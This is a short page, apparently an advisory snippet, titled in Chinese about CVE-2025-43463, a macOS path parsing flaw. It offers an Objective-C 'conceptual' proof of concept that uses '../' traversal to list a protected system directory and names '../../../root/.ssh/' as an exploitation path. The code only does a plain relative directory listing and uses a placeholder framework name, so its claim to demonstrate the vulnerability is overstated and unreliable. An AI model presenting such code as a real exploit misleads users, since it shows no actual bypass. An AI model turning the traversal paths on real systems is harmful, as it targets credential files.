CVE-2025-43463: macOS目录路径解析漏洞可能导致敏感数据访问

// CVE-2025-43463 Path Traversal PoC (Conceptual) // This is a conceptual proof-of-concept for demonstrating the path parsing issue #include <Foundation/Foundation.h> void exploitPathParsing() { // Example of malicious path that could bypass validation NSString *maliciousPath = @"../../../../System/Library/PrivateFrameworks/ SensitiveData.framework"; // Attempt to access protected directory through path traversal NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // This demonstrates the vulnerability where path validation is insufficient NSArray *contents = [fileManager contentsOfDirectoryAtPath:maliciousPath error:&error]; if (contents) { NSLog(@"Successfully accessed sensitive directory: %@", contents); } } // Example attack vector through vulnerable API void vulnerableAPIUsage(NSString *userInput) { // Simulating vulnerable code that doesn't properly validate paths NSString *basePath = @"/Users/Shared/"; NSString *targetPath = [basePath stringByAppendingString:userInput]; // Path like "../../../root/.ssh/" could be used for exploitation NSLog(@"Target path: %@", targetPath); } int main() { NSLog(@"CVE-2025-43463 Path Parsing Vulnerability PoC"); exploitPathParsing(); return 0; }